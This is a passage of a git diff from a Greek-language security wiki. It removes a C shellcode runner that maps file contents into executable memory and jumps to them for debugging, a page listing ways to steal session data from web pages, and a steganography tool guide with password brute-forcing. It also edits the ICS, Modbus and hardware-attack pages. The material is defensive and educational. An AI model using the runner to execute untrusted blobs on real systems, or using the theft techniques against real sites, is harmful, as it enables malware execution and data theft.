//Get Length - -printf(" [*] File Size: 0x%04x\n", fileLen); -fseek(file, 0, SEEK_SET); //Reset - -fileLen += 1; - -buffer = (char*)malloc(fileLen); //Create Buffer -fread(buffer, fileLen, 1, file); -fclose(file); - -printf(" [*] Allocating Memory..."); - -lpvBase = VirtualAlloc(NULL, fileLen, 0x3000, 0x40); - -printf(".Allocated!\n"); -printf(" [*] |-Base: 0x%08x\n", (int)(size_t)lpvBase); -printf(" [*] Copying input data...\n"); - -CopyMemory(lpvBase, buffer, fileLen); -return lpvBase; -} - -void execute(LPVOID base, int offset, bool nopause, bool jit, bool debug) -{ -LPVOID shell_entry; - -#ifdef _WIN64 -DWORD thread_id; -HANDLE thread_handle; -const char msg[] = " [*] Navigate to the Thread Entry and set a breakpoint. Then press any key to resume the thread.\n"; -#else -const char msg[] = " [*] Navigate to the EP and set a breakpoint. Then press any key to jump to the shellcode.\n"; -#endif - -shell_entry = (LPVOID)((UINT_PTR)base + offset); - -#ifdef _WIN64 - -printf(" [*] Creating Suspended Thread...\n"); -thread_handle = CreateThread( -NULL, // Attributes -0, // Stack size (Default) -shell_entry, // Thread EP -NULL, // Arguments -0x4, // Create Suspended -&thread_id); // Thread identifier - -if (thread_handle == NULL) { -printf(" [!] Error Creating thread..."); -return; -} -printf(" [*] Created Thread: [%d]\n", thread_id); -printf(" [*] Thread Entry: 0x%016x\n", (int)(size_t)shell_entry); - -#endif - -if (nopause == false) { -printf("%s", msg); -getchar(); -} -else -{ -if (jit == true) { -// Force an exception by making the first byte not executable. -// This will cause -DWORD oldp; - -printf(" [*] Removing EXECUTE access to trigger exception...\n"); - -VirtualProtect(shell_entry, 1 , PAGE_READWRITE, &oldp); -} -} - -#ifdef _WIN64 -printf(" [*] Resuming Thread..\n"); -ResumeThread(thread_handle); -#else -printf(" [*] Entry: 0x%08x\n", (int)(size_t)shell_entry); -printf(" [*] Jumping to shellcode\n"); -__asm jmp shell_entry; -#endif -} - -void print_help() { -printf(" [!] Error: No file!\n\n"); -printf(" Required args: \n\n"); -printf(" Optional Args:\n"); -printf(" --offset The offset to jump into.\n"); -printf(" --nopause Don't pause before jumping to shellcode. Danger!!! \n"); -printf(" --jit Forces an exception by removing the EXECUTE permission from the alloacted memory.\n"); -printf(" --debug Verbose logging.\n"); -printf(" --version Print version and exit.\n\n"); -} - -int main(int argc, char* argv[]) -{ -LPVOID base; -int i; -int offset = 0; -bool nopause = false; -bool debug = false; -bool jit = false; -char* nptr; - -banner(); - -if (argc < 2) { -print_help(); -return -1; -} - -printf(" [*] Using file: %s \n", argv[1]); - -for (i = 2; i < argc; i++) { -if (strcmp(argv[i], "--offset") == 0) { -printf(" [*] Parsing offset...\n"); -i = i + 1; -if (strncmp(argv[i], "0x", 2) == 0) { -offset = strtol(argv[i], &nptr, 16); -} -else { -offset = strtol(argv[i], &nptr, 10); -} -} -else if (strcmp(argv[i], "--nopause") == 0) { -nopause = true; -} -else if (strcmp(argv[i], "--jit") == 0) { -jit = true; -nopause = true; -} -else if (strcmp(argv[i], "--debug") == 0) { -debug = true; -} -else if (strcmp(argv[i], "--version") == 0) { -printf("Version: %s", _version); -} -else { -printf("[!] Warning: Unknown arg: %s\n", argv[i]); -} -} - -base = process_file(argv[1], jit, offset, debug); -if (base == NULL) { -printf(" [!] Exiting..."); -return -1; -} -printf(" [*] Using offset: 0x%08x\n", offset); -execute(base, offset, nopause, jit, debug); -printf("Pausing - Press any key to quit.\n"); -getchar(); -return 0; -} -``` -{{#include ../../banners/hacktricks-training.md}} diff --git a/src/stealing-sensitive-information-disclosure-from-a-web.md b/src/stealing-sensitive-information-disclosure-from-a-web.md deleted file mode 100644 index 660a64c6f..000000000 --- a/src/stealing-sensitive-information-disclosure-from-a-web.md +++ /dev/null @@ -1,13 +0,0 @@ -# Κλοπή Ευαίσθητης Πληροφορίας από μια Ιστοσελίδα - -{{#include ./banners/hacktricks-training.md}} - -Αν σε κάποια στιγμή βρείτε μια **ιστοσελίδα που σας παρουσιάζει ευαίσθητες πληροφορίες με βάση τη συνεδρία σας**: Ίσως να αντικατοπτρίζει cookies, ή να εκτυπώνει λεπτομέρειες πιστωτικής κάρτας ή οποιαδήποτε άλλη ευαίσθητη πληροφορία, μπορείτε να προσπαθήσετε να την κλέψετε.\ -Εδώ σας παρουσιάζω τους κύριους τρόπους που μπορείτε να προσπαθήσετε να το πετύχετε: - -- [**CORS bypass**](pentesting-web/cors-bypass.md): Αν μπορείτε να παρακάμψετε τα headers CORS, θα είστε σε θέση να κλέψετε τις πληροφορίες εκτελώντας Ajax αίτημα για μια κακόβουλη σελίδα. -- [**XSS**](pentesting-web/xss-cross-site-scripting/index.html): Αν βρείτε μια ευπάθεια XSS στη σελίδα, μπορεί να είστε σε θέση να την εκμεταλλευτείτε για να κλέψετε τις πληροφορίες. -- [**Danging Markup**](pentesting-web/dangling-markup-html-scriptless-injection/index.html): Αν δεν μπορείτε να εισάγετε XSS tags, μπορεί ακόμα να είστε σε θέση να κλέψετε τις πληροφορίες χρησιμοποιώντας άλλες κανονικές HTML tags. -- [**Clickjaking**](pentesting-web/clickjacking.md): Αν δεν υπάρχει προστασία κατά αυτής της επίθεσης, μπορεί να είστε σε θέση να παραπλανήσετε τον χρήστη να σας στείλει τις ευαίσθητες δεδομένες (ένα παράδειγμα [εδώ](https://medium.com/bugbountywriteup/apache-example-servlet-leads-to-61a2720cac20)). - -{{#include ./banners/hacktricks-training.md}} diff --git a/src/stego/esoteric-languages.md b/src/stego/esoteric-languages.md deleted file mode 100644 index 917bc79ee..000000000 --- a/src/stego/esoteric-languages.md +++ /dev/null @@ -1,65 +0,0 @@ -# Εσωτερικές γλώσσες - -{{#include ../banners/hacktricks-training.md}} - -## [Esolangs Wiki](https://esolangs.org/wiki/Main_Page) - -Ελέγξτε αυτό το wiki για να αναζητήσετε περισσότερες εσωτερικές γλώσσες - -## Malbolge -``` -('&%:9]!~}|z2Vxwv-,POqponl$Hjig%eB@@>}= -``` -[http://malbolge.doleczek.pl/](http://malbolge.doleczek.pl) - -## npiet - -![](<../images/image (146).png>) - -[https://www.bertnase.de/npiet/npiet-execute.php](https://www.bertnase.de/npiet/npiet-execute.php) - -## Rockstar -``` -Midnight takes your heart and your soul -While your heart is as high as your soul -Put your heart without your soul into your heart - -Give back your heart - - -Desire is a lovestruck ladykiller -My world is nothing -Fire is ice -Hate is water -Until my world is Desire, -Build my world up -If Midnight taking my world, Fire is nothing and Midnight taking my world, Hate is nothing -Shout "FizzBuzz!" -Take it to the top - -If Midnight taking my world, Fire is nothing -Shout "Fizz!" -Take it to the top - -If Midnight taking my world, Hate is nothing -Say "Buzz!" -Take it to the top - -Whisper my world -``` -{{#ref}} -https://codewithrockstar.com/ -{{#endref}} - -## PETOOH -``` -KoKoKoKoKoKoKoKoKoKo Kud-Kudah -KoKoKoKoKoKoKoKo kudah kO kud-Kudah Kukarek kudah -KoKoKo Kud-Kudah -kOkOkOkO kudah kO kud-Kudah Ko Kukarek kudah -KoKoKoKo Kud-Kudah KoKoKoKo kudah kO kud-Kudah kO Kukarek -kOkOkOkOkO Kukarek Kukarek kOkOkOkOkOkOkO -Kukarek -``` -{{#include ../banners/hacktricks-training.md}} diff --git a/src/stego/stego-tricks.md b/src/stego/stego-tricks.md deleted file mode 100644 index bb0336f60..000000000 --- a/src/stego/stego-tricks.md +++ /dev/null @@ -1,194 +0,0 @@ -# Stego Tricks - -{{#include ../banners/hacktricks-training.md}} - -## **Εξαγωγή Δεδομένων από Αρχεία** - -### **Binwalk** - -Ένα εργαλείο για την αναζήτηση δυαδικών αρχείων για ενσωματωμένα κρυφά αρχεία και δεδομένα. Εγκαθίσταται μέσω του `apt` και η πηγή του είναι διαθέσιμη στο [GitHub](https://github.com/ReFirmLabs/binwalk). -```bash -binwalk file # Displays the embedded data -binwalk -e file # Extracts the data -binwalk --dd ".*" file # Extracts all data -``` -### **Foremost** - -Ανακτά αρχεία με βάση τις κεφαλίδες και τις υποσέλιδές τους, χρήσιμο για εικόνες png. Εγκαθίσταται μέσω του `apt` με την πηγή του στο [GitHub](https://github.com/korczis/foremost). -```bash -foremost -i file # Extracts data -``` -### **Exiftool** - -Βοηθά στην προβολή μεταδεδομένων αρχείων, διαθέσιμο [εδώ](https://www.sno.phy.queensu.ca/~phil/exiftool/). -```bash -exiftool file # Shows the metadata -``` -### **Exiv2** - -Παρόμοιο με το exiftool, για προβολή μεταδεδομένων. Εγκαθίσταται μέσω `apt`, πηγή στο [GitHub](https://github.com/Exiv2/exiv2), και έχει μια [επίσημη ιστοσελίδα](http://www.exiv2.org/). -```bash -exiv2 file # Shows the metadata -``` -### **Αρχείο** - -Καθορίστε τον τύπο του αρχείου με το οποίο ασχολείστε. - -### **Συμβολοσειρές** - -Εξάγει αναγνώσιμες συμβολοσειρές από αρχεία, χρησιμοποιώντας διάφορες ρυθμίσεις κωδικοποίησης για να φιλτράρει την έξοδο. -```bash -strings -n 6 file # Extracts strings with a minimum length of 6 -strings -n 6 file | head -n 20 # First 20 strings -strings -n 6 file | tail -n 20 # Last 20 strings -strings -e s -n 6 file # 7bit strings -strings -e S -n 6 file # 8bit strings -strings -e l -n 6 file # 16bit strings (little-endian) -strings -e b -n 6 file # 16bit strings (big-endian) -strings -e L -n 6 file # 32bit strings (little-endian) -strings -e B -n 6 file # 32bit strings (big-endian) -``` -### **Σύγκριση (cmp)** - -Χρήσιμο για τη σύγκριση ενός τροποποιημένου αρχείου με την αρχική του έκδοση που βρέθηκε online. -```bash -cmp original.jpg stego.jpg -b -l -``` -## **Εξαγωγή Κρυφών Δεδομένων σε Κείμενο** - -### **Κρυφά Δεδομένα σε Κενά** - -Αόρατοι χαρακτήρες σε φαινομενικά κενά μπορεί να κρύβουν πληροφορίες. Για να εξαγάγετε αυτά τα δεδομένα, επισκεφθείτε [https://www.irongeek.com/i.php?page=security/unicode-steganography-homoglyph-encoder](https://www.irongeek.com/i.php?page=security/unicode-steganography-homoglyph-encoder). - -## **Εξαγωγή Δεδομένων από Εικόνες** - -### **Αναγνώριση Λεπτομερειών Εικόνας με το GraphicMagick** - -[GraphicMagick](https://imagemagick.org/script/download.php) χρησιμοποιείται για να προσδιορίσει τους τύπους αρχείων εικόνας και να εντοπίσει πιθανή διαφθορά. Εκτελέστε την παρακάτω εντολή για να ελέγξετε μια εικόνα: -```bash -./magick identify -verbose stego.jpg -``` -Για να προσπαθήσετε να επισκευάσετε μια κατεστραμμένη εικόνα, η προσθήκη ενός σχολίου μεταδεδομένων μπορεί να βοηθήσει: -```bash -./magick mogrify -set comment 'Extraneous bytes removed' stego.jpg -``` -### **Steghide για Απόκρυψη Δεδομένων** - -Το Steghide διευκολύνει την απόκρυψη δεδομένων μέσα σε `JPEG, BMP, WAV, και AU` αρχεία, ικανό να ενσωματώνει και να εξάγει κρυπτογραφημένα δεδομένα. Η εγκατάσταση είναι απλή χρησιμοποιώντας `apt`, και ο [κώδικας πηγής είναι διαθέσιμος στο GitHub](https://github.com/StefanoDeVuono/steghide). - -**Εντολές:** - -- `steghide info file` αποκαλύπτει αν ένα αρχείο περιέχει κρυφά δεδομένα. -- `steghide extract -sf file [--passphrase password]` εξάγει τα κρυφά δεδομένα, ο κωδικός πρόσβασης είναι προαιρετικός. - -Για εξαγωγή μέσω διαδικτύου, επισκεφθείτε [αυτή την ιστοσελίδα](https://futureboy.us/stegano/decinput.html). - -**Επίθεση Bruteforce με Stegcracker:** - -- Για να προσπαθήσετε να σπάσετε τον κωδικό πρόσβασης στο Steghide, χρησιμοποιήστε [stegcracker](https://github.com/Paradoxis/StegCracker.git) ως εξής: -```bash -stegcracker [] -``` -### **zsteg για αρχεία PNG και BMP** - -zsteg ειδικεύεται στην αποκάλυψη κρυφών δεδομένων σε αρχεία PNG και BMP. Η εγκατάσταση γίνεται μέσω `gem install zsteg`, με την [πηγή του στο GitHub](https://github.com/zed-0xff/zsteg). - -**Εντολές:** - -- `zsteg -a file` εφαρμόζει όλες τις μεθόδους ανίχνευσης σε ένα αρχείο. -- `zsteg -E file` καθορίζει ένα payload για εξαγωγή δεδομένων. - -### **StegoVeritas και Stegsolve** - -**stegoVeritas** ελέγχει τα μεταδεδομένα, εκτελεί μετασχηματισμούς εικόνας και εφαρμόζει LSB brute forcing μεταξύ άλλων χαρακτηριστικών. Χρησιμοποιήστε `stegoveritas.py -h` για μια πλήρη λίστα επιλογών και `stegoveritas.py stego.jpg` για να εκτελέσετε όλους τους ελέγχους. - -**Stegsolve** εφαρμόζει διάφορα φίλτρα χρώματος για να αποκαλύψει κρυφά κείμενα ή μηνύματα μέσα σε εικόνες. Είναι διαθέσιμο στο [GitHub](https://github.com/eugenekolo/sec-tools/tree/master/stego/stegsolve/stegsolve). - -### **FFT για ανίχνευση κρυφού περιεχομένου** - -Οι τεχνικές Fast Fourier Transform (FFT) μπορούν να αποκαλύψουν κρυφό περιεχόμενο σε εικόνες. Χρήσιμοι πόροι περιλαμβάνουν: - -- [EPFL Demo](http://bigwww.epfl.ch/demo/ip/demos/FFT/) -- [Ejectamenta](https://www.ejectamenta.com/Fourifier-fullscreen/) -- [FFTStegPic στο GitHub](https://github.com/0xcomposure/FFTStegPic) - -### **Stegpy για αρχεία ήχου και εικόνας** - -Stegpy επιτρέπει την ενσωμάτωση πληροφοριών σε αρχεία εικόνας και ήχου, υποστηρίζοντας μορφές όπως PNG, BMP, GIF, WebP και WAV. Είναι διαθέσιμο στο [GitHub](https://github.com/dhsdshdhk/stegpy). - -### **Pngcheck για ανάλυση αρχείων PNG** - -Για να αναλύσετε αρχεία PNG ή να επιβεβαιώσετε την αυθεντικότητά τους, χρησιμοποιήστε: -```bash -apt-get install pngcheck -pngcheck stego.png -``` -### **Επιπλέον Εργαλεία για Ανάλυση Εικόνας** - -Για περαιτέρω εξερεύνηση, σκεφτείτε να επισκεφθείτε: - -- [Magic Eye Solver](http://magiceye.ecksdee.co.uk/) -- [Image Error Level Analysis](https://29a.ch/sandbox/2012/imageerrorlevelanalysis/) -- [Outguess](https://github.com/resurrecting-open-source-projects/outguess) -- [OpenStego](https://www.openstego.com/) -- [DIIT](https://diit.sourceforge.net/) - -## **Εξαγωγή Δεδομένων από Ήχους** - -**Audio steganography** προσφέρει μια μοναδική μέθοδο για την απόκρυψη πληροφοριών μέσα σε αρχεία ήχου. Διάφορα εργαλεία χρησιμοποιούνται για την ενσωμάτωση ή την ανάκτηση κρυφού περιεχομένου. - -### **Steghide (JPEG, BMP, WAV, AU)** - -Steghide είναι ένα ευέλικτο εργαλείο σχεδιασμένο για την απόκρυψη δεδομένων σε αρχεία JPEG, BMP, WAV και AU. Λεπτομερείς οδηγίες παρέχονται στην [stego tricks documentation](stego-tricks.md#steghide). - -### **Stegpy (PNG, BMP, GIF, WebP, WAV)** - -Αυτό το εργαλείο είναι συμβατό με μια ποικιλία μορφών, συμπεριλαμβανομένων των PNG, BMP, GIF, WebP και WAV. Για περισσότερες πληροφορίες, ανατρέξτε στην [ενότητα του Stegpy](stego-tricks.md#stegpy-png-bmp-gif-webp-wav). - -### **ffmpeg** - -ffmpeg είναι κρίσιμο για την αξιολόγηση της ακεραιότητας των αρχείων ήχου, επισημαίνοντας λεπτομερείς πληροφορίες και εντοπίζοντας τυχόν ανωμαλίες. -```bash -ffmpeg -v info -i stego.mp3 -f null - -``` -### **WavSteg (WAV)** - -Το WavSteg διακρίνεται στην απόκρυψη και εξαγωγή δεδομένων μέσα σε αρχεία WAV χρησιμοποιώντας τη στρατηγική του λιγότερο σημαντικού bit. Είναι προσβάσιμο στο [GitHub](https://github.com/ragibson/Steganography#WavSteg). Οι εντολές περιλαμβάνουν: -```bash -python3 WavSteg.py -r -b 1 -s soundfile -o outputfile - -python3 WavSteg.py -r -b 2 -s soundfile -o outputfile -``` -### **Deepsound** - -Το Deepsound επιτρέπει την κρυπτογράφηση και ανίχνευση πληροφοριών μέσα σε αρχεία ήχου χρησιμοποιώντας AES-256. Μπορεί να κατέβει από [την επίσημη σελίδα](http://jpinsoft.net/deepsound/download.aspx). - -### **Sonic Visualizer** - -Ένα ανεκτίμητο εργαλείο για οπτική και αναλυτική επιθεώρηση αρχείων ήχου, το Sonic Visualizer μπορεί να αποκαλύψει κρυμμένα στοιχεία που δεν ανιχνεύονται με άλλους τρόπους. Επισκεφθείτε την [επίσημη ιστοσελίδα](https://www.sonicvisualiser.org/) για περισσότερα. - -### **DTMF Tones - Dial Tones** - -Η ανίχνευση τόνων DTMF σε αρχεία ήχου μπορεί να επιτευχθεί μέσω διαδικτυακών εργαλείων όπως [αυτός ο ανιχνευτής DTMF](https://unframework.github.io/dtmf-detect/) και [DialABC](http://dialabc.com/sound/detect/index.html). - -## **Other Techniques** - -### **Binary Length SQRT - QR Code** - -Δυαδικά δεδομένα που τετραγωνίζονται σε ακέραιο αριθμό μπορεί να αντιπροσωπεύουν έναν κωδικό QR. Χρησιμοποιήστε αυτό το απόσπασμα για να ελέγξετε: -```python -import math -math.sqrt(2500) #50 -``` -Για τη μετατροπή δυαδικών σε εικόνα, ελέγξτε [dcode](https://www.dcode.fr/binary-image). Για να διαβάσετε QR κωδικούς, χρησιμοποιήστε [this online barcode reader](https://online-barcode-reader.inliteresearch.com/). - -### **Μετάφραση Μπράιγ** - -Για τη μετάφραση Μπράιγ, ο [Branah Braille Translator](https://www.branah.com/braille-translator) είναι μια εξαιρετική πηγή. - -## **Αναφορές** - -- [**https://0xrick.github.io/lists/stego/**](https://0xrick.github.io/lists/stego/) -- [**https://github.com/DominicBreuker/stego-toolkit**](https://github.com/DominicBreuker/stego-toolkit) - -{{#include ../banners/hacktricks-training.md}} diff --git a/src/todo/6881-udp-pentesting-bittorrent.md b/src/todo/6881-udp-pentesting-bittorrent.md deleted file mode 100644 index b58833f93..000000000 --- a/src/todo/6881-udp-pentesting-bittorrent.md +++ /dev/null @@ -1,3 +0,0 @@ -{{#include ../banners/hacktricks-training.md}} - -{{#include ../banners/hacktricks-training.md}} diff --git a/src/todo/hardware-hacking/fault_injection_attacks.md b/src/todo/hardware-hacking/fault_injection_attacks.md index 291cc8d0d..1d7df85f1 100644 --- a/src/todo/hardware-hacking/fault_injection_attacks.md +++ b/src/todo/hardware-hacking/fault_injection_attacks.md @@ -1,5 +1,9 @@ -# Επιθέσεις Εισαγωγής Σφαλμάτων +# Fault Injection Attacks + +{{#include /banners/hacktricks-training.md}} Οι επιθέσεις εισαγωγής σφαλμάτων περιλαμβάνουν την εισαγωγή εξωτερικών διαταραχών σε ηλεκτρονικά κυκλώματα για να επηρεάσουν τη συμπεριφορά τους, με αποτέλεσμα την αποκάλυψη πληροφοριών ή ακόμη και την παράκαμψη ορισμένων περιορισμών στο κύκλωμα. Αυτές οι επιθέσεις ανοίγουν πολλές δυνατότητες για την επίθεση ηλεκτρονικών κυκλωμάτων. Αυτή η επίθεση αναφέρεται επίσης ως glitching ηλεκτρονικών κυκλωμάτων. Υπάρχουν πολλοί μέθοδοι και μέσα για την εισαγωγή σφαλμάτων σε ένα ηλεκτρονικό κύκλωμα. + +{{#include /banners/hacktricks-training.md}} diff --git a/src/todo/hardware-hacking/side_channel_analysis.md b/src/todo/hardware-hacking/side_channel_analysis.md index 991581725..0f8dc145e 100644 --- a/src/todo/hardware-hacking/side_channel_analysis.md +++ b/src/todo/hardware-hacking/side_channel_analysis.md @@ -1,7 +1,11 @@ -# Επιθέσεις Ανάλυσης Παράπλευρης Πληροφορίας +# Side Channel Analysis Attacks -Οι Επιθέσεις Ανάλυσης Παράπλευρης Πληροφορίας αναφέρονται στον προσδιορισμό της πληροφορίας από μια συσκευή ή οντότητα μέσω κάποιας άλλης οδού ή πηγής που έχει έμμεση επιρροή σε αυτήν και μπορεί να εξαχθεί πληροφορία από αυτήν. Αυτό μπορεί να εξηγηθεί καλύτερα με ένα παράδειγμα: +{{#include /banners/hacktricks-training.md}} -Η ανάλυση των δονήσεων σε γυάλινες πλάκες που βρίσκονται κοντά στην πηγή ήχου, αλλά η πηγή ήχου δεν είναι προσβάσιμη. Οι δονήσεις στο γυαλί επηρεάζονται από την πηγή ήχου και αν παρακολουθηθούν και αναλυθούν, ο ήχος μπορεί να αποκωδικοποιηθεί και να ερμηνευθεί. +Οι επιθέσεις Ανάλυσης Παράπλευρων Καναλιών αναφέρονται στον προσδιορισμό πληροφοριών από μια συσκευή ή οντότητα μέσω κάποιου άλλου καναλιού ή πηγής που έχει έμμεση επιρροή σε αυτήν και οι πληροφορίες μπορούν να εξαχθούν από αυτήν. Αυτό μπορεί να εξηγηθεί καλύτερα με ένα παράδειγμα: -Αυτές οι επιθέσεις είναι πολύ δημοφιλείς σε περιπτώσεις διαρροής δεδομένων όπως ιδιωτικά κλειδιά ή εύρεση λειτουργιών στους επεξεργαστές. Ένα ηλεκτρονικό κύκλωμα έχει πολλούς διαύλους από τους οποίους, πληροφορία διαρρέει συνεχώς. Η παρακολούθηση και η ανάλυση μπορεί να είναι χρήσιμη για την αποκάλυψη πολλών πληροφοριών σχετικά με το κύκλωμα και τα εσωτερικά του. +Αναλύοντας τις δονήσεις σε γυάλινες πλάκες που βρίσκονται κοντά στην πηγή ήχου, αλλά η πηγή ήχου δεν είναι προσβάσιμη. Οι δονήσεις στο γυαλί επηρεάζονται από την πηγή ήχου και αν παρακολουθηθούν και αναλυθούν, ο ήχος μπορεί να αποκωδικοποιηθεί και να ερμηνευθεί. + +Αυτές οι επιθέσεις είναι πολύ δημοφιλείς σε περιπτώσεις διαρροής δεδομένων όπως ιδιωτικά κλειδιά ή εύρεση λειτουργιών στους επεξεργαστές. Ένα ηλεκτρονικό κύκλωμα έχει πολλά κανάλια από τα οποία οι πληροφορίες διαρρέουν συνεχώς. Η παρακολούθηση και η ανάλυση μπορεί να είναι χρήσιμες για την αποκάλυψη πολλών πληροφοριών σχετικά με το κύκλωμα και τα εσωτερικά του. + +{{#include /banners/hacktricks-training.md}} diff --git a/src/todo/industrial-control-systems-hacking/README.md b/src/todo/industrial-control-systems-hacking/README.md index a3eefec5b..0f6adc09a 100644 --- a/src/todo/industrial-control-systems-hacking/README.md +++ b/src/todo/industrial-control-systems-hacking/README.md @@ -1,15 +1,19 @@ # Industrial Control Systems Hacking +{{#include /banners/hacktricks-training.md}} + ## About this Section Αυτή η ενότητα περιέχει όλα όσα αφορούν τα Βιομηχανικά Συστήματα Ελέγχου, συμπεριλαμβανομένων των εννοιών καθώς και μεθοδολογιών για την παραβίασή τους με διάφορα ζητήματα ασφάλειας που υπάρχουν σε αυτά. -Τα Βιομηχανικά Συστήματα Ελέγχου είναι παντού, καθώς οι βιομηχανίες είναι ζωτικής σημασίας για την οικονομική ανάπτυξη ενός έθνους. Αλλά αυτά τα ICS είναι δύσκολο να ενημερωθούν και έχουν γίνει λιγότερες προόδους σε αυτόν τον τομέα. Επομένως, η εύρεση αδυναμιών ασφάλειας είναι συνηθισμένη εδώ. Οι περισσότερες από τις πρωτόκολλες και τα πρότυπα που χρησιμοποιούνται εδώ αναπτύχθηκαν τη δεκαετία του '90 και έχουν πολύ λιγότερες δυνατότητες σε σύγκριση με τα τρέχοντα σενάρια επιθέσεων. +Τα Βιομηχανικά Συστήματα Ελέγχου είναι παντού, καθώς οι βιομηχανίες είναι ζωτικής σημασίας για την οικονομική ανάπτυξη ενός έθνους. Αλλά αυτά τα ICS είναι δύσκολο να ενημερωθούν και έχουν γίνει λιγότερες προόδους σε αυτόν τον τομέα. Έτσι, η εύρεση αδυναμιών ασφάλειας είναι συνηθισμένη εδώ. Οι περισσότερες από τις πρωτόκολλες και τα πρότυπα που χρησιμοποιούνται εδώ αναπτύχθηκαν τη δεκαετία του '90 και έχουν πολύ λιγότερες δυνατότητες σε σύγκριση με τα τρέχοντα σενάρια επιθέσεων. Έχει γίνει σημαντικό να ασφαλίσουμε αυτά τα συστήματα, καθώς η ζημιά τους μπορεί να κοστίσει πολύ και ακόμη και ζωές στην χειρότερη περίπτωση. Για να κατανοήσουμε την ασφάλεια των Βιομηχανικών Συστήματων Ελέγχου, είναι απαραίτητο να γνωρίζουμε τα εσωτερικά τους. Δεδομένου ότι τα Βιομηχανικά Συστήματα Ελέγχου εγκαθίστανται σύμφωνα με καθορισμένα πρότυπα, η γνώση κάθε στοιχείου θα βοηθήσει στη διασύνδεση κάθε άλλου μηχανισμού στο σύστημα ελέγχου. Η εγκατάσταση αυτών των συσκευών όπως οι PLCs και τα συστήματα SCADA διαφέρει σε διάφορες βιομηχανίες, επομένως η συλλογή πληροφοριών είναι κρίσιμη. -Τα Βιομηχανικά Συστήματα Ελέγχου μπορεί να είναι περίπλοκα μερικές φορές και επομένως απαιτούν πολλή υπομονή για να κάνουμε οτιδήποτε. Είναι όλα σχετικά με την εξερεύνηση και την αναγνώριση πριν από τον προγραμματισμό επιθέσεων και την ανάπτυξη οποιωνδήποτε εκμεταλλεύσεων. +Τα Βιομηχανικά Συστήματα Ελέγχου μπορεί να είναι περίπλοκα μερικές φορές και επομένως απαιτούν πολλή υπομονή για να κάνουμε οτιδήποτε. Είναι όλα σχετικά με την αναγνώριση και την αναγνώριση πριν από τον προγραμματισμό επιθέσεων και την ανάπτυξη οποιωνδήποτε εκμεταλλεύσεων. Αυτές οι τεχνικές μπορούν επίσης να χρησιμοποιηθούν για την προστασία από επιθέσεις και την μπλε ομάδα για τα βιομηχανικά συστήματα ελέγχου. + +{{#include /banners/hacktricks-training.md}} diff --git a/src/todo/industrial-control-systems-hacking/modbus.md b/src/todo/industrial-control-systems-hacking/modbus.md index f8607c462..d01d7cdd6 100644 --- a/src/todo/industrial-control-systems-hacking/modbus.md +++ b/src/todo/industrial-control-systems-hacking/modbus.md @@ -1,10 +1,12 @@ # Το Πρωτόκολλο Modbus +{{#include /banners/hacktricks-training.md}} + ## Εισαγωγή στο Πρωτόκολλο Modbus Το πρωτόκολλο Modbus είναι ένα ευρέως χρησιμοποιούμενο πρωτόκολλο στην Βιομηχανική Αυτοματοποίηση και τα Συστήματα Ελέγχου. Το Modbus επιτρέπει την επικοινωνία μεταξύ διαφόρων συσκευών όπως προγραμματιζόμενοι λογικοί ελεγκτές (PLCs), αισθητήρες, ενεργοποιητές και άλλες βιομηχανικές συσκευές. Η κατανόηση του Πρωτοκόλλου Modbus είναι απαραίτητη, καθώς αυτό είναι το πιο χρησιμοποιούμενο πρωτόκολλο επικοινωνίας στα ICS και έχει μεγάλη επιφάνεια πιθανών επιθέσεων για υποκλοπή και ακόμη και εισαγωγή εντολών σε PLCs. -Εδώ, οι έννοιες αναφέρονται σημειωτά παρέχοντας το πλαίσιο του πρωτοκόλλου και τη φύση της λειτουργίας του. Η μεγαλύτερη πρόκληση στην ασφάλεια των συστημάτων ICS είναι το κόστος υλοποίησης και αναβάθμισης. Αυτά τα πρωτόκολλα και τα πρότυπα σχεδιάστηκαν στις αρχές της δεκαετίας του '80 και του '90 και εξακολουθούν να χρησιμοποιούνται ευρέως. Δεδομένου ότι μια βιομηχανία έχει πολλές συσκευές και συνδέσεις, η αναβάθμιση των συσκευών είναι πολύ δύσκολη, γεγονός που δίνει στους χάκερ ένα πλεονέκτημα στην αντιμετώπιση παλαιών πρωτοκόλλων. Οι επιθέσεις στο Modbus είναι σχεδόν αναπόφευκτες, καθώς θα χρησιμοποιείται χωρίς αναβάθμιση και η λειτουργία του είναι κρίσιμη για τη βιομηχανία. +Εδώ, οι έννοιες αναφέρονται σημειωτικά παρέχοντας το πλαίσιο του πρωτοκόλλου και τη φύση της λειτουργίας του. Η μεγαλύτερη πρόκληση στην ασφάλεια των συστημάτων ICS είναι το κόστος υλοποίησης και αναβάθμισης. Αυτά τα πρωτόκολλα και τα πρότυπα σχεδιάστηκαν στις αρχές της δεκαετίας του '80 και του '90 και εξακολουθούν να χρησιμοποιούνται ευρέως. Δεδομένου ότι μια βιομηχανία έχει πολλές συσκευές και συνδέσεις, η αναβάθμιση των συσκευών είναι πολύ δύσκολη, γεγονός που δίνει στους χάκερ ένα πλεονέκτημα στην αντιμετώπιση παρωχημένων πρωτοκόλλων. Οι επιθέσεις στο Modbus είναι σχεδόν αναπόφευκτες, καθώς θα χρησιμοποιείται χωρίς αναβάθμιση και η λειτουργία του είναι κρίσιμη για τη βιομηχανία. ## Η Αρχιτεκτονική Πελάτη-Εξυπηρετητή @@ -20,12 +22,14 @@ ## Κωδικοί Λειτουργιών -Το Πρωτόκολλο ModBus λειτουργεί με τη μετάδοση συγκεκριμένων κωδικών λειτουργιών που χρησιμοποιούνται για τη λειτουργία των PLCs και διαφόρων συσκευών ελέγχου. Αυτή η ενότητα είναι σημαντική για να κατανοηθεί, καθώς οι επιθέσεις επανάληψης μπορούν να γίνουν με την επαναμετάδοση κωδικών λειτουργιών. Οι κληρονομημένες συσκευές δεν υποστηρίζουν καμία κρυπτογράφηση κατά τη μετάδοση δεδομένων και συνήθως έχουν μακριά καλώδια που τις συνδέουν, γεγονός που οδηγεί σε παραποίηση αυτών των καλωδίων και σύλληψη/εισαγωγή δεδομένων. +Το Πρωτόκολλο ModBus λειτουργεί με τη μετάδοση συγκεκριμένων κωδικών λειτουργιών που χρησιμοποιούνται για τη λειτουργία των PLCs και διαφόρων συσκευών ελέγχου. Αυτή η ενότητα είναι σημαντική για την κατανόηση, καθώς οι επιθέσεις επανάληψης μπορούν να γίνουν με την επαναμετάδοση κωδικών λειτουργιών. Οι κληρονομημένες συσκευές δεν υποστηρίζουν καμία κρυπτογράφηση κατά τη μετάδοση δεδομένων και συνήθως έχουν μακριά καλώδια που τις συνδέουν, γεγονός που οδηγεί σε παραποίηση αυτών των καλωδίων και σύλληψη/εισαγωγή δεδομένων. ## Διευθύνσεις Modbus Κάθε συσκευή στο δίκτυο έχει κάποια μοναδική διεύθυνση 